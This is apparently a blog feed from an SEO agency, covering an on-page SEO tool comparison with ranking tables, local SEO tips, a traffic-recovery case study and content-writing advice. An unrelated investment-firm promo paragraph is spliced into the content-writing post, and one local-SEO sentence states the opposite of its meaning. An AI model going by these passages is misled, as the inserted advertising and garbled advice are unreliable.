Page Optimizer Pro takes a look at the top competitors relevant to your site and analyses their content structure. If, on average, there are 3 H2 tags, POP would recommend you have three or more H2 tags on your page. Similarly, it also recommended that you use the same keywords as your competitors website for your H2 tags.

Page Optimizer Pro (POP) Banner

As you can see, Page Optimizer provides specific recommendations for each part of the content page, allowing SEO specialists and content writers to design the perfect page structure for their site.

POP proceeds to give the following: Word count, number of headings, number of paragraphs, images, and image alt text, how many should be in bold or italicised, ordered and unordered lists, forms, and whether or not the page needs a graphic or a video.

Now as a content writer myself, from this information I can plan out how the web page should look just from these recommendations alone, making my life easier. For Blog Post A-E, we strictly followed POP’s advice, especially the keyword placement.

Thanks to POP’s newest feature Content Brief, we were also able to get a clear visual of our Optimization Score and what exactly we need to do all on one page. 

Page Optimizer Pro Score

For $10 for ten reports or a monthly $39 for unlimited reports, it is definitely a steal!

Results on Page Optimizer Pro:

Here, we compiled the results for Blog Posts A to E and have included rankings before we optimised them so you can see the difference.

Blog Post

Ranking before Edits

Ranking as of

Cell
Cell

Mar 17

Mar 24

Mar 31

April 7

April 15

April 22

A

2

2

1

2

1

1

1

B

6

6

4

4

4

4

4

C

33

34

36

36

47

47

49

D

56

53

44

36

38

39

39

E

73

79

16

16

15

15

15

From this table alone, you can already see that the results were mostly positive. Blog Post A, B, D, and E all experienced a massive increase in their rankings. Blog Post A and B, which were already ranking high in SERPs, took the top spots at 1 and 4, respectively.

On the other hand, Blog Posts D and E, previously ranked 56 and 73, jumped 17 and 58 spots, for a better standing at 39th and 15th. Meanwhile, Blog Post C’s standing went down from 33 to a final ranking of 49, which can be visualised better with this graph. The x-axis represents time, while the y-axis represents the rankings.

As you can see, the general movement of the rankings for each blog post went up.

Ranking for Page Optimizer Pro (POP)

Final Verdict on POP?

So what is our final verdict?

It’s solid.

Page Optimizer Pro provides its users with all the essentials: competitor research, keyword research, keyword placement, etc. While it doesn’t go into detail as much as Surfer or Cognitive, it's still sufficient at what it does. From the experiment, there was a massive leap in rankings, even allowing us to take the number one spot for Blog Post A. Aside from that, these broad jumps were indicative of how optimised our content has become thanks to POP.

One of the main takeaways about POP is this - for unlimited reports, it’s only $39 a month, making it a cost-effective way of doing Content Optimization.

Surfer SEO

Surfer SEO is the “Data-Driven SEO Tool for On-Page and Beyond.” Developed by SEO experts who’ve been in the industry for over 13 years, Surfer SEO is currently one of the leading On-Page optimization tools in the market. According to their website, Surfer “analyzes 500+ on-page signals in one sweep giving you an easy-to-follow recipe for higher rankings.”

During our time spent on the experiment, our team found that Surfer SEO was the most user-friendly compared to POP and Cognitive. The site was easy to follow with each button being clearly marked, and gave clear instructions. You could also get location-specific recommendations for a better-targeted strategy.
Surfer has a handful of features that provides comprehensive and detailed reports on different aspects of SEO.

Surfer SEO

SERP Analyzer - Surfer’s SERP Analyzer does a comprehensive analysis of the keyword with regards to the SERP (Search Engine Results Page). Essentially, it allows its users to discover optimal keywords density, compares your page against your local competition, and finds link building opportunities based on common backlinks from the top pages.

SERP Analyzer - Surfer SEO

Content Editor – Surfer’s Content Editor provides detailed instructions on how you can create keyword-rich content. With Content Editor, you can optimize the existing content on your website, create high-ranking landing pages, and even create e-commerce copy that’s geared towards conversion.

I personally am in awe of how comprehensive the reports from Surfer SEO are. It provides:

The top 10 most relevant competitors to your site

Competitors Analysis - Surfer SEO

Content Structure

Content Structure - Surfer SEO
  • How frequently keywords appear
  • LSI (Latent Semantic Indexing) Keywords
  • Topics and Questions to Answer
  • Export guidelines feature so SEO specialist can send easy-to-follow instructions to the copywriter

Keyword Research – Surfer SEO’s Keyword Research provides new keywords relevant to your site that you can target, gaining an edge against your competition. You also get to find related topics and analyze new keywords.

With so many features, it’s simply not necessary to swap between SEO tools to formulate your SEO strategy.


"I really like Surfer SEO because it's just easy to use and they are constantly improving it. I first started using it when the only other two comparable tools were MarketMuse and Clearscope. MarketMuse fails to improve and seems to ignore what SEOs have been asking for for years and Clearscope is simply too expensive for a small agency to use. I ran a similar (personal) experiment as what is outlined in this post with these tools and a few others to see which performed the best for the least amount of money. SurferSEO had comparable results a few years ago. Now? I use it exclusively and consistently to get my client content to rank on the first page." - Marquis Matson

Results on Surfer SEO

So how did Surfer SEO do? See for yourself. Below are the results of the experiment for Blog Posts F to J. Again, we used SERProBot to check for the rankings of each blog post concerning their specific keywords.

Blog Post

Ranking before Edits

Ranking as of

Cell
Cell

Mar 17

Mar 24

Mar 31

April 7

April 15

April 22

F

51

not in top 100

64

90

not in top 100

not in top 100

79

G

not in top 100

not in top 100

75

75

72

68

71

H

50

52

49

46

27

24

20

I

4

2

4

2

63

21

1

J

47

54

59

57

40

68

40

Just like with Page Optimizer Pro, the blog posts, after being optimised with Surfer SEO, experienced improvements in their rankings. Results were mostly positive, save for Blog Post F, which slipped from the list. There was even a three week period where it dropped from the Top 100 search results. As the rest of the blog posts had a positive outcome, it can be inferred that a different factor could be the reason why Blog Post F tanked.

Blog Post G broke through the top 100 search results list and had a final standing of 71st. Blog Post H went up 30 slots, from the 50th to the 20th. Blog Post I, on the other hand, became the top search result for its keyword. Lastly, after five weeks of deteriorating ranking, Blog Post J landed the 40th spot on the last week of the experiment.

Rankings can be easier visualised from the graphic below:

Ranking for Surfer SEO

As you can see from this line chart, the majority of the blog posts' had an upward general trajectory. It experienced some drops, probably due to a new Google algorithm update, but quickly recovered afterwards.

Final verdict on Surfer SEO?

It’s an excellent tool! Surfer SEO does many things that are golden to an SEO expert. Couple that with an easy-to-use interface, and you've certainly got a reliable SEO tool. UK Web GeekZ an SEO agency from Darlington have seen massive improvements for local sites just by running the content through Surfer and republishing. If you're looking for a do-it-all tool that provides not only on-page optimization but also keyword research and competitor research, you've got yourself a good bargain with Surfer SEO.

It is also perfect if you outsource your content creation process as you can send your writer the exported guidelines instead of giving them access to your Surfer SEO account.

CognitiveSEO

CognitiveSEO

Out of the three SEO tools, CognitiveSEO certainly does the most. With countless features, Cognitive SEO is perfect for digital marketing agencies who want to increase online traffic, monitor their site’s evolution, and perform a comprehensive site audit.

According to their site, CognitiveSEO is "a complete SEO software suite that will uncover all your traffic issues." And it does follow through with its promise. It not only provides detailed reports but also proposes a solution on how to rank better, especially if your sites are tanking.

CognitiveSEO pretty much does the entire SEO process. Here are the major reports that you can get from CognitiveSEO:

On-Page Website Crawler & SEO Audit

The algorithm that Google uses to rank its pages is quite volatile. It changes rapidly and often without warning. CognitiveSEO provides its users with a site audit tool that offers comprehensive reports on your website's weak points. Aside from this, it crawls through all of the site's pages to create an easy-to-understand visual on how you can fix the errors on your site. So you can outrank your competitors while improving your overall website performance.

Backlink Analysis, Content Audit, and Rank Tracking

CognitiveSEO does a unique analysis process that compares your data with your competitors, providing you with valuable insights like why your competitors are ranking higher than you and why your site isn’t.

Keyword and Content Optimization Tool

Content Optimization is one of the most significant aspects of the Search Engine Optimization process. Cognitive SEO uses a thorough keyword research and ranking analysis process, ensuring that your on-page content is optimized, not only for Search Engines but also for conversion. Cognitive also has a Content Performance score and a Keyword Tool to boost your rankings and increase organic traffic.

Unnatural Link Detection for Both Algorithmic and Manual Penalties

When Google rolls out changes in the algorithm, some of your links may get penalised. Without help from a tool like CognitiveSEO, your site may have links which hurt your rankings, instead of improving it. Once you've detected which links are getting penalised, you can quickly contact the site owners.

Desktop, Mobile & Local Rank Tracking for all Locations & Languages

CognitiveSEO allows its users to track their website rankings from a closer angle. When searching for keyword rankings, you can choose to specify the country, language, and city to create a more localized report. Similarly, desktop and mobile have different SERP positions. If your users are mostly mobile users, then targeting mobile factors would be the optimal choice.

Competitor Research

CognitiveSEO reverse engineers, uncovering the SEO strategies of your online competitors. This way, you can simply do what they’re doing, but better.
CognitiveSEO's comprehensive reports have not gone unnoticed. In 2019, over 11, 000 SEO professionals and agencies reported using Cognitive SEO to improve the rankings of over 36, 000 websites.

Results on CognitiveSEO

Below are the results of our experiment using the on-page SEO recommendations provided by CognitiveSEO.

Blog Post

Ranking before Edits

Ranking as of

Cell
Cell

Mar 17

Mar 24

Mar 31

April 7

April 15

April 22

K

11

11

11

11

10

10

8

L

2

2

2

2

2

2

2

M

3

1

4

1

2

1

1

N

14

17

12

12

12

11

12

O

3

2

1

2

3

3

3

After optimizing the blog posts with CognitiveSEO, the results were mostly positive. One can even argue that even Blog Post O, which went back to the 3rd spot after a few weeks in the 2nd and 1st spot, still experienced a boost.

Blog Post K, previously ranking 11th, went up three spots, breaking through the top 10 search results, ending in 8th spot. Blog Post L, on the other hand, remained steady at the 2nd spot throughout the experiment, which could be indicative that the site on the 1st spot was ranking higher.

Blog Post M, from being third on the search engines results page, ended up in the 1st spot. Meanwhile, Blog Post N took the 12th spot while Blog Post O, after a few weeks on the 1st and 2nd spot, went down to the 3rd spot.

Results can be easily visualised shown through this graph:

Ranking for CognitiveSEO

Final Verdict on CognitiveSEO?

CognitiveSEO is one of the most comprehensive SEO tools that we've ever tried out. It has so many features, was easy to use, and provided highly detailed reports for every step of the SEO process. Cognitive SEO also had the most promising results.

Final Thoughts on the SEO Tools

So who won the experiment? What SEO Tool are we going to recommend? Which of the three gets the title as the Ultimate On-Page SEO Tool?

*Commence Drum Roll*

It depends..

All three tools Page Optimizer Pro, SurferSEO, and CognitiveSEO, all have their own merits and demerits, and determining which SEO tool is better requires context and a lot more background information. Each tool has its own use and benefits to the user, additionally, one must also take into account the pricing of each tool and how frequently it will be used.

For example, it would be a waste of money to get a Business Plan subscription from SurferSEO, which costs $165.8 per month, only for it to be used for five or ten queries a month. Instead, it's best to shell out $39 for Page Optimizer Pro as it also gave positive results.

I guess, if we are to designate each tool, it could be classified as the following:

Startup businesses and SEO enthusiasts are best partnered with POP to start with. Think of Page Optimizer Pro as the best entry point to the SEO industry. It provides simple to understand reports at a minimal price, and effectively does it’s job without breaking the bank.

On the other hand, SurferSEO and CognitiveSEO are best for SEO experts and SEO agencies who can maximise all of their credit while using all of its features, as you will be paying a yearly subscription that costs hundreds of dollars. It will be a misuse of your assets if your company invests in an SEO tool that won’t be used.

Moving forward, we will continue to review new On-Page SEO tools which will be added onto the experiment, helping you gain new insights for your SEO strategies. Remember to check in!

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]]> 6 Tips Multi-National/Location Businesses Can Effectively Use For Local SEO Efforts https://tothetop.agency/multi-location-local-seo/ https://tothetop.agency/multi-location-local-seo/#respond Sat, 21 Mar 2020 17:30:58 +0000 https://tothetop.agency/?p=1984 Local search engine optimization (SEO, for short) isn’t a technique that only small businesses can use. If you’re the owner of a multi-national or multi-location company, using this tool is going to have an impact on your business as well.  How so? Local SEO basics affect the outcome of all business locations, and with a …

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]]>

Local search engine optimization (SEO, for short) isn’t a technique that only small businesses can use. If you’re the owner of a multi-national or multi-location company, using this tool is going to have an impact on your business as well. 

How so?

Local SEO basics affect the outcome of all business locations, and with a more mobile-friendly Internet, it’s going to have a greater impact on other aspects of search.  Why is it so crucial for multi-national or multi-location businesses to invest in local SEO?

•   97 percent of people learn more about a business through the Internet.

•   Four in 10 people who use Google do it to find out a company’s local information.

•   Half of smartphone users who use their phone to search for something will visit a local shop within a day.

•   Eight in 10 mobile users do “near me” searches, with nine in 10 of them clicking on the first three results.

Local SEO isn’t just about organic traffic or website optimization. Therefore, a business that is multi-national or multi-location must develop an entirely new skill set if they are to stand out among the local competitors flooding the market.

What Makes Local SEO So Important and Different?

In the past, website optimization played a huge role in a local business website ranking in search engines. However, Google (and other search engines) have changed dramatically, and its importance isn’t as it used to be. And, it boils down to how Google handles local business data.

Google once had products known as Google Places and Google+, but Google My Business is much better than those could ever have been. It’s the one tool that all digital marketers looking to bring in foot traffic need to use.

What makes Google My Business (GMB) different from other search products? You don’t need a website to have a GMB profile. The company information (address, phone number, opening hours,
pictures, etc.) on this profile is rarely based on any website information.  Simply put, GMB is a local business’ new homepage.

Eventually, it’ll be that any local search success is based on the quality of local business location, not website quality.

How Does Google Show Google My Business Results?

The profiles of a GMB has not shown in traditional organic search results. Rather, profiles are shown in a “Local Pack” – a dedicated box that shows up at the top of the results for information
about local intent.  Local intent is when a person is looking for a company in a particular area such as women’s clothing stores around Jonesboro, Ga. or restaurants near me. 

Google’s GMB algorithm will choose which of these profiles will be shown in the pack and is different from the primary organic search engine algorithm. This is a huge thing for multi-location companies, as it clearly provides an even playing field.

A good example of this scenario would be Shadrach’s. You may appear at the top for numerous organic searches of coffee shops and coffee when there is a local intent. However, a local Shadrach’s store is likely to show up in the Local Pack with other close-by coffee shops – size doesn’t matter.

Now, some people feel that consumers will go out of their way to review a locally-owned coffee shop, making it more likely to show up in the Local Park over a franchise one.

You can show up at the top of the Local Maps Pack organically, or with PPC Advertising.

3 Local SEO Foundations To Remember

When it comes to local SEO, there are three critical points to remember:

•   Proximity – How close is the searcher to your business?

•   Prominence – What are others saying about your products/services?

•   Relevance – How pertinent has the search query come to your
products/services?

There is no way to change the first point (unless you plan to move anyway), but you do have the power to affect the other two points. You must do things in your local search strategy that ensures that every local location is known for the things your searchers need or want.

The business profile of each location must show up in these searchers.  If you’re not doing things that make these happen, then you’re doing something right!

Are There Any Factors That Can Affect Local Search Rankings?

The reality is that local search
algorithm, along with Google algorithms, is a multi-faceted issue with unknown
variables. Thankfully, there are numerous digital marketers who every day test
and scrutinize ranking factors and local search results. This has led to the
development of the Local Search Ranking Factors Study, which Moz carries out
every year.

Special Note: The study isn’t founded on genuine search information but industry expert opinions.

A review of the study shows that GMB signs – proximity, keywords in business title, categories and more – are the best of the best. From there, you have review signals, link signals, citation signals and others.

Classic SEO understands on-page signals and link signals, but local SEO is more about citation signals and reviews.

“Every business needs to be concerned with customer reviews – from the top of the company on down” – Xendup

How Can A Multi-Location Business Compete In Local Searches

When it comes to local search, a multi-location can still compete for consumers’ attention, even though smaller businesses do have a competitive edge. If you own a multi-location business, what can you do to stay relevant and found in local searches?

Make Use Of GMB Q&A

Good or bad, users are provided with the opportunity to ask public questions about business locations that other people can answer. If you want a business location to stay relevant, you should be watching the Q&A area closely and answering their questions. The importance of keeping an ever-watchful eye is to ensure your reputation stays intact. 

If you’re not watching the GMB Q&A, you could miss out on opportunities to protect your brand and reputation. Smaller businesses must be especially mindful of this because the Q&A feature can be misused and abused.

Local Links

While websites don’t have the power they used to in local search, link signals is still an important aspect of local search ranking. More prominent companies with large websites may not find it conducive to building separate websites for all their locations. However, implementing a store locator that offers an individual page for every location can be useful.

From there, you can focus on getting local links to the page. Local links are those that come from a local community’s websites – local newspaper website, local community page, etc.

While traditional SEO recoils at the effort that goes into attaining links from an unknown low Domain Authority website, Google regards it as an important connection. The more links of these types, the more prominent your local brand is going to appear in the search.

Make sure, for this to happen, that you use the location’s store page as its website for the GMB profile.

Localized Pages

If money and time are not an issue, you can spend it on creating more than one page for a single location. Shadrach’s, for instance, can develop a “hub” on their website for its different locations and then make use of traditional content marketing method to ensure links go back to area-focused content.

A business with lots of locations may find this difficult to do and find it’s not as effective.

Create Citations For Every Location

Citations do have an integral role in local search since they show up in directories people use to look for a local business. On top of that, citations can demonstrate the reliability of your business. Since smaller local businesses don’t have the time or money to utilize all business listings sites, you can “one-up” them by establishing correct citations for all your business locations.

Ensure You Have Unique and Original GMB Profiles

Besides keeping a watchful eye and giving responses to Google Q&As, you need to ensure all GMB location profiles are real. Never use stock photos, as the idea is to ensure your prospective customers know what the location looks and feels like.  Encourage them to share pictures of their experiences to the profile as well.

Improve the GMB profile by using Google Posts to showcase promotions, offers and other activities tied to just that location.  Since it’s a rather new feature, most business owners don’t know about it.

Check it out, learn more about it and use it to your advantage.

Get Reviews For Every Location

Reviews are the most difficult for multi-location businesses to get, but it’s so critical to these individual locations in order to stay in local searches. 

Review signals are just as important as link signals when it comes to local search, and without them, individual locations will not be nearly as visible as you would want them to be in local searches. While you may think it’s all about the stars, it’s not. Based on various research, consumers are focused on how recent and hastily the reviews are. 

For you, it means getting regular reviews for each of your sites for them to stay competitive.

It’s imperative to respond to all reviews – good and bad. Why? According to more research, review responses are just as important to building consumer trust. How you respond to feedback dictates whether or not a person is inclined to do business with you. Be sure you have a fully-developed review strategy.

What Does This All Mean?

In the grand scheme of things, it means Google is seriously listening to what customers are saying about your business more than they are listening to you. 

Therefore, you must do everything you can do influence and direct conversations to local locations – not just the whole brand itself – if you are to stay competitive and relevant. 

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]]> https://tothetop.agency/multi-location-local-seo/feed/ 0 Website Quality Audit Recovers site from Algorithm Penalty with 313% Organic Traffic Increase – SEO Case Study https://tothetop.agency/website-quality-audit-seo-case-study/ https://tothetop.agency/website-quality-audit-seo-case-study/#respond Tue, 10 Mar 2020 14:34:32 +0000 https://tothetop.agency/?p=1820 The Client The client has a design online blog that offers a unique perspective on many topics: tattoos, tattoo ideas, graphic design, wallpapers, nail designs, hairstyles, and more. They publish listicles and blog posts covering the world of design. Their website creates content such as tutorials, articles, roundups, how-to guides, tips, tricks, and even graphic …

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]]> The Client

The client has a design online blog that offers a unique perspective on many topics: tattoos, tattoo ideas, graphic design, wallpapers, nail designs, hairstyles, and more. They publish listicles and blog posts covering the world of design. Their website creates content such as tutorials, articles, roundups, how-to guides, tips, tricks, and even graphic design hacks.

The Problem

The website had over 20,000 Web Pages. In February 2019, they had a solid amount of viewership, averaging 71,000 views every month. As they were an established website, they had a huge collection of content that caters to several niches. However, their online traffic started to plummet. Below is a timeline demonstrating what happened prior to and after signing with To The Top.

Design Blog Ahref Organic Traffic
***Screenshots are from Ahrefs organic traffic graph***

Design Client Organic Traffic Timeline

Organic Traffic June 2019 

Google’s June 2019 Algorithm update hit the site hard. Their viewership tanked, reaching its lowest at 32, 609 views per month. It didn’t help that their competition was simultaneously exerting effort in improving their on-page content

Design Blog organic traffic august 2019

Organic Traffic August 2019 

Responding to the Google August 2019 Algorithm update, the website’s views recovered slightly and reached 37,886 views per month before continuing its downward trend.

Update August 2019

The client enlisted the help of To The Top Agency to recover their audience. We did an extensive Website Quality Audit, including SEO Audits, to determine the reasons for the website’s decreasing rank. The strategy that we employed was tailor-made based on the data and insights that we gathered from the website quality audit. The main goal was for the website to appear at the top of Search Engine Results Pages once again.

Organic Traffic October 2019

While in the middle of our planning phase in October, the client site hit an all-time low of 22, 613 views.

Design Blog organic traffic October 2019
All-time low monthly organic traffic of 22,613

Planning: November 2019 – February 2020

We started to put our plans into action i.e. on-page edits, content optimization, fixing Site Speed, etc. The numbers clearly showed how effective our strategies were as the site has since seen a steady increase in their online traffic, even bypassing their original numbers with a traffic increase of over 300%.

Organic Traffic Recovery from Website Quality Audit
332% Organic Traffic increase in the last month VS. prior to Website Quality Audit

Website Quality Audit

Phase One: Link Juice and Content Optimization

Figuring out why the site’s online traffic plummeted was definitely a head-scratcher for the client. They used to be a leading figure in the design industry and the search engine results pages. Suddenly, their audience was dwindling down. 

After the client signed with us, we tried employing the standard SEO process: Link Building and Content Optimization. This was phase one of our SEO strategy.

Link Juice

In the SEO industry, there is a term called “link juice.” Link juice is the hypothetical value that is passed through hyperlinks from one page to another. Essentially, links are considered as upvotes by other websites, thereby convincing Google that your page is high-quality and should be ranking high on Search Engine Results Pages.

There are two types of links important to SEO: Backlinks and Internal Links, both of which we optimized for the website.

  • Backlinks

A backlink in a web page is a link from some other website to your own web resource. It is the online version of a citation in an academic journal. The fact that you get cited means that other websites view you as a credible source or an authority figure in your industry. Two types of Backlinks exist:

  • Inbound Link 

An inbound link is a link coming from a different website and redirecting the user to your webpage. We searched the web for mentions of the client’s site that are not linking to us. 

We, then, reached out to the webmaster and asked if they can add a link to our website. At the same time, our link builders also fostered relationships with other relevant websites whose content would benefit from having our link inside it. 

  • Outbound Link

An outbound link is a link redirecting the audience of the client site to a different website. We made sure that all of the outbound links inside the client’s pages went to the right sites and that all the links worked. Wrong links can hamper the user experience which is bad for your website’s ranking and reputation.

  • Internal Links

Internal links are links on a website redirecting the user from one page to another page that is still in the same domain. We made sure that all of the internal links inside the client’s website are perfectly running. The goal of internal links is to keep the user in our client’s site for as long as possible. There are two ways to do this: continuously redirecting the audience to different webpages after they’ve finished with one or by publishing long content.

Results

In an ideal world, we would report that our initial strategy worked perfectly. The client’s website ranking became the highest in the industry. Their online traffic quadrupled. Their revenue multiplied. And everyone clapped.

Unfortunately, we do not live in a utopian world where we get everything we wish for. Our initial efforts to improve the client’s rankings did not achieve the results that we were hoping to get. This situation was unlike our previous clients where our link building and content optimization process mostly did the trick. The results led us to believe that there was something deeper going on here.

Phase Two: Content Creation, Technical Audit, Improvement of User Experience

Our team decided to dig deeper into the root cause of the problem. Using Google Analytics, we analysed our client’s rankings in comparison to their competition. We tried to determine what is causing their traffic loss. Are there pages whose ranking did not tank? What’s the difference between these pages and the pages that lost online traffic?

We ran our client’s website through different SEO tools to determine: rank analysis, User signal metrics, Click-through Rate, Average Time On Site, Average Pages Per Session, etc.

To The Top has a unique approach to SEO in that all strategies employed are data-driven. The SEO industry is filled with baseless rumours and age-old strategies that have long been phased out.

We have expert data analysts as part of our team that transforms the data taken from SEO tools (i.e. Ahrefs, Google Analytics, etc) into valuable insights that we can work with. There were three factors that remained to be checked: Poor Content, Technical errors, and hampered User Experience.

Content

One of the crucial ranking factors for Google is the content of the website. Gone are the days when spammy websites with poor content ruled the top of the search engine results pages only because they had 100 keywords stuffed inside of them. With all the recent updates that Google has been rolling out, the algorithm can now differentiate good content from bad content. Aside from grammar, Google also now checks for relevancy, content length, and even the depth of information shared. Our team decided on 3 ways to improve the client’s content.

  • Lack Of Relevancy

We analysed the client’s website and the Search Engine Results Pages. Our writers manually inspected the client’s pages and found out that there is some dissonance between the user’s search intent and the pages that are ranking. We ran extensive efforts to ensure that all the content in the client’s pages are relevant to the search intent of the user.

The main priority of Google is to provide its users with the most relevant and useful content for them. Websites can get penalized and sanctioned when Google’s algorithm finds out that their content is not relevant to the keywords that they are ranking for.

  • Poor Writing and Thin Content

Aside from the lack of relevancy, the client’s website also had poor content. The webpages were filled with grammatical errors, typos, and content that could be described more as word vomit than actual coherent sentences. To fix this issue, we spent a lot of efforts making sure that all the webpages had well-written content in them.

Another factor that we had to check was thin content. Thin content is content that adds little to no value to the website. Pages with duplicate content, too little writing, and even scraped content fall under this category. We used Siteliner to analyze our client’s website and identify any duplicate content, broken links, and even the internal page rank.

  • Under Optimized Content

Content optimization was part of the phase one of our strategy. However, for phase two, we had to polish our efforts. Each page was given a specific keyword to rank for. We also realized that many pages were missing their h1, h2, and h3 headings.

Technical Audit

 To begin with, it is best to know that Google uses hundreds of ranking factors to determine the order of results to show on their Search Engine Result Page. One of the biggest factors that can affect a website’s ranking is the website’s technical performance.

Running a comprehensive website quality audit on all of the website’s 20, 000 web pages confirmed our theory. A major reason why the site’s organic traffic tanked was the presence of technical errors on their website.

Below, we put together the most important actions we took from the Website Quality Audit that helped the website to recover its organic traffic and soar up in the rankings. 

Technical Audit

We created a document to track all of the changes that needed to be done on all of the site’s pages. (see screenshot below) It was important that all of these pages be fixed immediately as it affected the user experience of the site’s visitors. All of these technical issues can greatly contribute to the bounce rate of their website, which is a heavy factor for Google. You want to keep the client for as long as possible in your site.

Website Quality Audit Spreadsheet

We created a list of guidelines to determine which action to make depending on the condition of the page and its website traffic. Each page had to be designated to a specific action.

  1. If the page was receiving organic traffic and its content is properly optimized, we leave it as it is. No use fixing what isn’t broken.
  2. If the page was receiving poor organic traffic, we manually review the page. Depending on which has better potential as the primary page, it may be redirected or have other pages be redirected to it. 
  3. If the page was receiving no traffic but has backlinks, we give the code 301. We redirect the user to the most relevant page as we wanted to keep the link juice, which is one important resource for a website.
  4. If the page was receiving no traffic and has no links but has solid and well-written content, we merge the content with a more relevant page.
  5. If the page was receiving no traffic, no links, and has none or poor content, we do not index the page to Google, giving it the code no index.
  6. Lastly, if the page was an error 404, then we redirect the user to the most relevant page available on the website.

On-Page Content Optimization (Headings, h1, h2, h3 to h6)

The next thing that we found lacking in the website was their on-page content. Seeing as it’s mostly about images and graphics, there was not much text. Because of this, there were barely any keywords that Google can use to improve the page’s ranking.

We did an extensive Keyword Analysis to find out the relevant keywords for each page. Our content writers either inserted keywords in the pages or created content that were both relevant and of high-quality. The headings, subheadings (h2 to h6), meta-descriptions, and URLs were also optimized to improve their ranking. 

The site had another recurring issue that needed to be fixed: Duplicate Content. There were several pages that had this issue. Duplicate content can slightly impact search engine rankings as Google finds it difficult to choose which version is more relevant to a user’s search query. This phenomenon is also called Keyword Cannibalization where two of a website’s pages are competing over the same keyword.

To avoid keyword cannibalization, we created Keyword Clusters which allowed us to separate pages that were competing against each other.

Site Speed

One factor that truly hinders the User Experience and, in effect, the bounce rate is the site speed. Because of the sheer number of images that the site has on each page, there was a long loading time that needed to be mitigated. We lowered the resolution and minimized the size of the images so that the website would not be too heavy to load. This sped up the website considerably.

Mobile-Responsiveness

As we live in the age of mobile phones, it is crucial that all pages of the site be responsive to users accessing the website through their mobile. However, the website was not optimized for mobile users. The desktop version was as heavy as the mobile version which resulted in long loading times.

To fix this problem and improve the performance of the website, we removed a few parts of the website for the mobile version. It was crucial that we optimize the website for mobile users instead of desktop versions. For example, the pages were made to fit the smaller screens of mobile phones. We also minimized images and lowered the resolution for mobile users to view the website without too long of a waiting time.

Website Structure

One thing we noticed is that the client’s website was hard to navigate through and most of the poor performing pages had a very high crawl-depth (it would take many clicks to reach the page). The structure was convoluted and the process to get from one page to another was too complicated. To fix this, we changed the entire website structure. We added sidebars, footers, corrected the paginations and created a related articles section. This made it easier for the user to navigate and view more pages. This also meant that the Google bot will be able to reach the pages with less clicks, assigning the page a higher importance value.

Technical Aspects

We checked through a 240 point technical SEO checklist. Some of them being:

  • Google Search Console (GSC)

Google Search Console is a free web service provided by Google for webmasters to submit their webpages to be indexed. It is important for any website to be registered to Google Search Console to identify any issues GSC may have picked up such as indexation errors, crawl rate, mobile issues etc.

  • Google Analytics
Design Blog Algorithm Penalty Recovery with Website Quality Audit

*screenshot is a summary of the client’s site organic traffic from Google Analytics*

We carefully monitored the organic traffic from Google Analytics to identify where the traffic losses came from, which pages were affected and analysed the data to see what could be the cause. In most cases, we noticed that the pages suffering from organic traffic loss also had below-average user signals performance metrics.

Results

Below are the results that we delivered for the client. Data is derived from Google Analytics.

Online Traffic

The online traffic of the site began declining in June 2019, reaching an all-time low in October 2019 at 22, 613/month. In less than a year, the site was able to recover their lost web traffic. In fact, they gained more online visitors in a month. Today, the site receives almost 120, 000 views a month.


Results of Website Quality Audit Implementation – 332% Organic Traffic Increase

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]]> https://tothetop.agency/website-quality-audit-seo-case-study/feed/ 0 How to Optimize Content for Users and Google? https://tothetop.agency/how-to-seo-optimize-content-for-google-and-users/ https://tothetop.agency/how-to-seo-optimize-content-for-google-and-users/#respond Tue, 10 Mar 2020 09:07:36 +0000 https://tothetop.agency/?p=1810 In the 1983 film Return of the Jedi, Han Solo and crew attempt to infiltrate the Empire in a stolen Imperial ship. As they pass an Empire vessel, Han advises his first mate, Chewbacca, to keep his distance without looking like he’s trying to keep his distance. After a trademark, Chewy retort, we assume asks, …

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In the 1983 film Return of the Jedi, Han Solo and crew attempt to infiltrate the Empire in a stolen Imperial ship. As they pass an Empire vessel, Han advises his first mate, Chewbacca, to keep his distance without looking like he’s trying to keep his distance.

After a trademark, Chewy retort, we assume asks, “How do I do that,” Han replies, “I don’t know, fly casual.”

It’s a fun scene, and one, while nearly 40 years old, can help us understand how to write great content for users that is also optimized for Google.

Dare we say, write casual.

At its core, search engine optimization or SEO is a simple concept. 

  • You create content centering around a keyword or set of keywords.
  • A user searches for content using those keywords.
  • Google, matching content and search keywords, pairs your output with what the user is seeking.
  • The user chooses your link from Google’s search engine results page (SERP).

Simple right? 

And yet, many brands are so caught up with how to rank on Google, they create unappealing user content. 

Or, they develop highly engaging copy that users like, but most will never see because Google’s algorithm barely notices it.

Therein lies the dilemma – engaging content that ranks high. Would it surprise you to learn it’s easy to achieve since both users and Google want the same thing?

Understanding SEO

Why is it so vital to optimize content for Google’s or any other search engine? Practically 70% of all clicks from a user search come from the first five organic results on the first SERP page.

That means that seven out of every ten users do not look at the second page of search results. Yikes.

Although Google’s search algorithm encompasses more than 200 different ranking factors, many of those are out of your control. To improve your standing, focus on what you can control. 

Much like Han Solo advising Chewbacca to “fly casual” in Return of the Jedi, Kama Capital believes in keeping investing simple and effective. We focus on providing smart, straightforward investment strategies without overcomplicating the process. Our approach centers around understanding market trends and delivering results that matter to our clients.

Thankfully, what you control aligns with several of Google’s most essential methodologies – effective use of keywords followed by relevance and authority.

Let’s take a look at each of these.

1. Keyword Use

The basis for SEO stems from keywords.

When a user enters a search term, Google uses those keywords to provide that user with the best possible content. It also allows you to generate content most relevant to your users.

But when researching keywords, place more of your focus on the long-tail variety, versus the more competitive short-tail keywords. In addition to being less competitive, long-tail phrases lead to higher conversions, since they signal intent. Consider:

  • Short-tail keyword: Cheap flights 
  • Long-tail keyword: Cheap flights from DFW

The first keyword indicates someone wants to fly. The second reflects someone planning to fly. 

When choosing keywords, don’t always go for the obvious, low-hanging fruit. Chances are it’s been picked (and it’s almost always short-tail keywords). 

During your research, use a simple search to see if the biggest names in your niche rank for those keywords. If they do, consider developing content around a different set of keywords, preferably long-tail. The results might surprise you. Meanwhile, here are some of the best Keyword Research Tools out in the market today.

Once you find the keywords around which you’ll create content, it’s essential to know how to use them. Here are the main ways to achieving the most from your keywords:

Page Titles: Often, your page title will match the title of your content, be it a blog post, landing page, or product page. Include your primary keywords at the start of titles to ensure it shows up in its entirety on a SERP (especially on smaller mobile screens). This will increase your page’s relevance within the search as well. 

Meta Description: The meta description is the block of text that appears under the title and web address of a search. Meta descriptions don’t directly impact SEO, but they do influence click-through rates, which does affect your ranking. Ensure your descriptions are captivating, feature your keywords naturally (more on this below), and stay between 50 and 160 characters. 

